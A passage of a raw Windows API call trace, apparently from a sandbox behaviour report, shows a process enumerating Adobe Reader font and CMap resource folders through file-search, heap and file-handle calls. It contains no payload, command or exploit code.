ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="")) returned 1 [0083.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217360 [0083.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b4f58 [0083.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="")) returned 0 [0083.809] GetLastError () returned 0x12 [0083.809] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CIDFont\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0083.809] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f934f00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80163aa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80163aa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeFanHeitiStd-Bold.otf", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c0638, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeGothicStd-Bold.otf", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fd132c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xbb27d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHeitiStd-Regular.otf", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8013d940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9b3508, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMingStd-Light.otf", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb4a240, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e93f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeMyungjoStd-Medium.otf", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe69f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xedd564, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSongStd-Light.otf", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f9a7320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53e91c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozGoPr6N-Medium.otf", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="")) returned 1 [0083.809] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa3f8a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7c205c, dwReserved0=0x0, dwReserved1=0x0, cFileName="KozMinPr6N-Regular.otf", cAlternateFileName="")) returned 0 [0083.809] GetLastError () returned 0x12 [0083.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124ca68) returned 1 [0083.810] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0083.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0083.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.811] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMap", cAlternateFileName="")) returned 1 [0083.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.811] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.812] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0083.812] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0083.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.813] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0083.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.813] NtClose (Handle=0x178) returned 0x0 [0083.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124ca68 [0083.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0083.814] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0083.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.818] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="")) returned 1 [0083.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0083.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124ca68) returned 1 [0083.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217380 [0083.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5060 [0083.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.820] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-H", cAlternateFileName="")) returned 1 [0083.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.820] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.820] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12173a0 [0083.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5168 [0083.821] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.821] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-UCS2", cAlternateFileName="")) returned 1 [0083.821] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.822] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.822] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12173c0 [0083.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5270 [0083.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7800) returned 0x12c2878 [0083.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12bb0b0) returned 1 [0083.823] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.823] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-V", cAlternateFileName="")) returned 1 [0083.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.824] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.824] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12173e0 [0083.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5378 [0083.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.825] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-H", cAlternateFileName="")) returned 1 [0083.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.826] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217400 [0083.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5480 [0083.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.827] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-V", cAlternateFileName="")) returned 1 [0083.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217420 [0083.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5588 [0083.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.829] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-H", cAlternateFileName="")) returned 1 [0083.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.829] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217440 [0083.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5690 [0083.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.830] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2", cAlternateFileName="")) returned 1 [0083.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.831] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217460 [0083.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b5798 [0083.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.832] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2C", cAlternateFileName="")) returned 1 [0083.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.833] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1217480 [0083.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b58a0 [0083.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.834] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-H", cAlternateFileName="")) returned 1 [0083.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.834] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12174a0 [0083.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12b59a8 [0083.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.835] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-V", cAlternateFileName="")) returned 1 [0083.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0083.836] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0083.836] RtlAllocateHeap (HeapHandle=0x940000, 